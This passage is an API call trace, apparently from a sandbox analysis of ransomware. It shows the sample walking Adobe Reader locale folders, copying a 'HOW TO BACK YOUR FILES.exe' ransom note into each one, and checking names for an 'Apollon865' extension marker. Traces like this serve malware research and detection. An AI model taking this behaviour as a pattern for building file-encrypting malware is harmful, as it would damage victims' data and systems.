	[0058.217] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1
	[0058.217] lstrcmpiW (lpString1="sk_SK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.217] lstrcmpiW (lpString1="sk_SK", lpString2="Apollon865.txt.exe") returned 1
	[0058.217] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="sk_SK" | out: lpString1="sk_SK") returned="sk_SK"
	[0058.217] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0058.217] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5c0008
	[0058.217] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd90
	[0058.217] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1
	[0058.217] lstrcmpiW (lpString1="sl_SI", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.217] lstrcmpiW (lpString1="sl_SI", lpString2="Apollon865.txt.exe") returned 1
	[0058.217] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="sl_SI" | out: lpString1="sl_SI") returned="sl_SI"
	[0058.217] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0058.217] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5c0090
	[0058.217] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fd50
	[0058.217] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1
	[0058.217] lstrcmpiW (lpString1="sv_SE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.217] lstrcmpiW (lpString1="sv_SE", lpString2="Apollon865.txt.exe") returned 1
	[0058.217] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="sv_SE" | out: lpString1="sv_SE") returned="sv_SE"
	[0058.217] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0058.217] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5c0118
	[0058.217] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fc10
	[0058.217] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr_TR", cAlternateFileName="")) returned 1
	[0058.217] lstrcmpiW (lpString1="tr_TR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.217] lstrcmpiW (lpString1="tr_TR", lpString2="Apollon865.txt.exe") returned 1
	[0058.217] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="tr_TR" | out: lpString1="tr_TR") returned="tr_TR"
	[0058.217] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0058.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5c01a0
	[0058.218] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0058.218] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uk_UA", cAlternateFileName="")) returned 1
	[0058.218] lstrcmpiW (lpString1="uk_UA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.218] lstrcmpiW (lpString1="uk_UA", lpString2="Apollon865.txt.exe") returned 1
	[0058.218] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="uk_UA" | out: lpString1="uk_UA") returned="uk_UA"
	[0058.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0058.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5c0228
	[0058.218] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fbf0
	[0058.218] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1
	[0058.218] lstrcmpiW (lpString1="zh_CN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.218] lstrcmpiW (lpString1="zh_CN", lpString2="Apollon865.txt.exe") returned 1
	[0058.218] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="zh_CN" | out: lpString1="zh_CN") returned="zh_CN"
	[0058.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0058.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5c02b0
	[0058.218] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0058.218] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1
	[0058.218] lstrcmpiW (lpString1="zh_TW", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.218] lstrcmpiW (lpString1="zh_TW", lpString2="Apollon865.txt.exe") returned 1
	[0058.218] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="zh_TW" | out: lpString1="zh_TW") returned="zh_TW"
	[0058.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0058.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5c0338
	[0058.218] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0058.218] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0
	[0058.218] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0058.218] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdd0
	[0058.218] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW"
	[0058.219] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0338 | out: hHeap=0x580000) returned 1
	[0058.219] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0058.219] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW") returned 60
	[0058.219] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW"
	[0058.219] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.219] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.225] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.225] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ac77f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ac77f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.225] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.225] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.225] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="accessibility.CHT" | out: lpString1="accessibility.CHT") returned="accessibility.CHT"
	[0058.225] lstrlenW (lpString="accessibility.CHT") returned 17
	[0058.225] lstrlenW (lpString="Apollon865") returned 10
	[0058.225] lstrcmpiW (lpString1="bility.CHT", lpString2="Apollon865") returned 1
	[0058.226] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Acroform.CHT" | out: lpString1="Acroform.CHT") returned="Acroform.CHT"
	[0058.226] lstrlenW (lpString="Acroform.CHT") returned 12
	[0058.226] lstrlenW (lpString="Apollon865") returned 10
	[0058.226] lstrcmpiW (lpString1="roform.CHT", lpString2="Apollon865") returned 1
	[0058.226] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="AdobeCollabSync.CHT" | out: lpString1="AdobeCollabSync.CHT") returned="AdobeCollabSync.CHT"
	[0058.226] lstrlenW (lpString="AdobeCollabSync.CHT") returned 19
	[0058.226] lstrlenW (lpString="Apollon865") returned 10
	[0058.226] lstrcmpiW (lpString1="abSync.CHT", lpString2="Apollon865") returned -1
	[0058.226] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Annots.CHT" | out: lpString1="Annots.CHT") returned="Annots.CHT"
	[0058.226] lstrlenW (lpString="Annots.CHT") returned 10
	[0058.226] lstrlenW (lpString="Apollon865") returned 10
	[0058.226] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="BRdlang32.CHT" | out: lpString1="BRdlang32.CHT") returned="BRdlang32.CHT"
	[0058.226] lstrlenW (lpString="BRdlang32.CHT") returned 13
	[0058.226] lstrlenW (lpString="Apollon865") returned 10
	[0058.226] lstrcmpiW (lpString1="lang32.CHT", lpString2="Apollon865") returned 1
	[0058.226] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Checkers.CHT" | out: lpString1="Checkers.CHT") returned="Checkers.CHT"
	[0058.226] lstrlenW (lpString="Checkers.CHT") returned 12
	[0058.226] lstrlenW (lpString="Apollon865") returned 10
	[0058.226] lstrcmpiW (lpString1="eckers.CHT", lpString2="Apollon865") returned 1
	[0058.226] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="DigSig.CHT" | out: lpString1="DigSig.CHT") returned="DigSig.CHT"
	[0058.226] lstrlenW (lpString="DigSig.CHT") returned 10
	[0058.226] lstrlenW (lpString="Apollon865") returned 10
	[0058.227] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="DVA.CHT" | out: lpString1="DVA.CHT") returned="DVA.CHT"
	[0058.227] lstrlenW (lpString="DVA.CHT") returned 7
	[0058.227] lstrlenW (lpString="Apollon865") returned 10
	[0058.227] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="eBook.CHT" | out: lpString1="eBook.CHT") returned="eBook.CHT"
	[0058.227] lstrlenW (lpString="eBook.CHT") returned 9
	[0058.227] lstrlenW (lpString="Apollon865") returned 10
	[0058.227] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="EScript.CHT" | out: lpString1="EScript.CHT") returned="EScript.CHT"
	[0058.227] lstrlenW (lpString="EScript.CHT") returned 11
	[0058.227] lstrlenW (lpString="Apollon865") returned 10
	[0058.227] lstrcmpiW (lpString1="Script.CHT", lpString2="Apollon865") returned 1
	[0058.227] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="IA32.CHT" | out: lpString1="IA32.CHT") returned="IA32.CHT"
	[0058.227] lstrlenW (lpString="IA32.CHT") returned 8
	[0058.227] lstrlenW (lpString="Apollon865") returned 10
	[0058.227] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="makeaccessible.CHT" | out: lpString1="makeaccessible.CHT") returned="makeaccessible.CHT"
	[0058.227] lstrlenW (lpString="makeaccessible.CHT") returned 18
	[0058.227] lstrlenW (lpString="Apollon865") returned 10
	[0058.227] lstrcmpiW (lpString1="ssible.CHT", lpString2="Apollon865") returned 1
	[0058.227] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Multimedia.CHT" | out: lpString1="Multimedia.CHT") returned="Multimedia.CHT"
	[0058.227] lstrlenW (lpString="Multimedia.CHT") returned 14
	[0058.227] lstrlenW (lpString="Apollon865") returned 10
	[0058.227] lstrcmpiW (lpString1="imedia.CHT", lpString2="Apollon865") returned 1
	[0058.227] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="pddom.CHT" | out: lpString1="pddom.CHT") returned="pddom.CHT"
	[0058.227] lstrlenW (lpString="pddom.CHT") returned 9
	[0058.228] lstrlenW (lpString="Apollon865") returned 10
	[0058.228] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="PPKLITE.CHT" | out: lpString1="PPKLITE.CHT") returned="PPKLITE.CHT"
	[0058.228] lstrlenW (lpString="PPKLITE.CHT") returned 11
	[0058.228] lstrlenW (lpString="Apollon865") returned 10
	[0058.228] lstrcmpiW (lpString1="PKLITE.CHT", lpString2="Apollon865") returned 1
	[0058.228] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="RdLang32.CHT" | out: lpString1="RdLang32.CHT") returned="RdLang32.CHT"
	[0058.228] lstrlenW (lpString="RdLang32.CHT") returned 12
	[0058.228] lstrlenW (lpString="Apollon865") returned 10
	[0058.228] lstrcmpiW (lpString1="Lang32.CHT", lpString2="Apollon865") returned 1
	[0058.228] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="ReadOutLoud.CHT" | out: lpString1="ReadOutLoud.CHT") returned="ReadOutLoud.CHT"
	[0058.228] lstrlenW (lpString="ReadOutLoud.CHT") returned 15
	[0058.228] lstrlenW (lpString="Apollon865") returned 10
	[0058.228] lstrcmpiW (lpString1="utLoud.CHT", lpString2="Apollon865") returned 1
	[0058.228] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="reflow.CHT" | out: lpString1="reflow.CHT") returned="reflow.CHT"
	[0058.228] lstrlenW (lpString="reflow.CHT") returned 10
	[0058.228] lstrlenW (lpString="Apollon865") returned 10
	[0058.228] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="SaveAsRTF.CHT" | out: lpString1="SaveAsRTF.CHT") returned="SaveAsRTF.CHT"
	[0058.228] lstrlenW (lpString="SaveAsRTF.CHT") returned 13
	[0058.228] lstrlenW (lpString="Apollon865") returned 10
	[0058.228] lstrcmpiW (lpString1="eAsRTF.CHT", lpString2="Apollon865") returned 1
	[0058.228] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Search.CHT" | out: lpString1="Search.CHT") returned="Search.CHT"
	[0058.228] lstrlenW (lpString="Search.CHT") returned 10
	[0058.228] lstrlenW (lpString="Apollon865") returned 10
	[0058.229] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="SendMail.CHT" | out: lpString1="SendMail.CHT") returned="SendMail.CHT"
	[0058.229] lstrlenW (lpString="SendMail.CHT") returned 12
	[0058.229] lstrlenW (lpString="Apollon865") returned 10
	[0058.229] lstrcmpiW (lpString1="ndMail.CHT", lpString2="Apollon865") returned 1
	[0058.229] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Services" | out: lpString1="Services") returned="Services"
	[0058.229] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0058.229] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x599450
	[0058.229] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0058.229] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Spelling.CHT", cAlternateFileName="")) returned 1
	[0058.229] lstrcmpiW (lpString1="Spelling.CHT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.229] lstrcmpiW (lpString1="Spelling.CHT", lpString2="Apollon865.txt.exe") returned 1
	[0058.229] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Spelling.CHT" | out: lpString1="Spelling.CHT") returned="Spelling.CHT"
	[0058.229] lstrlenW (lpString="Spelling.CHT") returned 12
	[0058.229] lstrlenW (lpString="Apollon865") returned 10
	[0058.229] lstrcmpiW (lpString1="elling.CHT", lpString2="Apollon865") returned 1
	[0058.229] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="updater.CHT" | out: lpString1="updater.CHT") returned="updater.CHT"
	[0058.229] lstrlenW (lpString="updater.CHT") returned 11
	[0058.229] lstrlenW (lpString="Apollon865") returned 10
	[0058.229] lstrcmpiW (lpString1="pdater.CHT", lpString2="Apollon865") returned 1
	[0058.229] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Weblink.CHT" | out: lpString1="Weblink.CHT") returned="Weblink.CHT"
	[0058.229] lstrlenW (lpString="Weblink.CHT") returned 11
	[0058.229] lstrlenW (lpString="Apollon865") returned 10
	[0058.229] lstrcmpiW (lpString1="eblink.CHT", lpString2="Apollon865") returned 1
	[0058.230] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services"
	[0058.230] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.230] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0058.230] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services") returned 69
	[0058.230] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services"
	[0058.230] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.230] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.238] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.238] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ac77f70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ac77f70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.238] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.238] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.238] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="DEXShare.asfx" | out: lpString1="DEXShare.asfx") returned="DEXShare.asfx"
	[0058.238] lstrlenW (lpString="DEXShare.asfx") returned 13
	[0058.238] lstrlenW (lpString="Apollon865") returned 10
	[0058.238] lstrcmpiW (lpString1="Share.asfx", lpString2="Apollon865") returned 1
	[0058.238] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="Services.asfx" | out: lpString1="Services.asfx") returned="Services.asfx"
	[0058.238] lstrlenW (lpString="Services.asfx") returned 13
	[0058.238] lstrlenW (lpString="Apollon865") returned 10
	[0058.238] lstrcmpiW (lpString1="vices.asfx", lpString2="Apollon865") returned 1
	[0058.238] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN"
	[0058.238] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c02b0 | out: hHeap=0x580000) returned 1
	[0058.238] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0058.238] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN") returned 60
	[0058.238] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN"
	[0058.238] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.239] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.255] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.255] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3ac9e0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ac9e0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.255] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.255] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.255] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="accessibility.CHS" | out: lpString1="accessibility.CHS") returned="accessibility.CHS"
	[0058.255] lstrlenW (lpString="accessibility.CHS") returned 17
	[0058.255] lstrlenW (lpString="Apollon865") returned 10
	[0058.255] lstrcmpiW (lpString1="bility.CHS", lpString2="Apollon865") returned 1
	[0058.255] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Acroform.CHS" | out: lpString1="Acroform.CHS") returned="Acroform.CHS"
	[0058.255] lstrlenW (lpString="Acroform.CHS") returned 12
	[0058.255] lstrlenW (lpString="Apollon865") returned 10
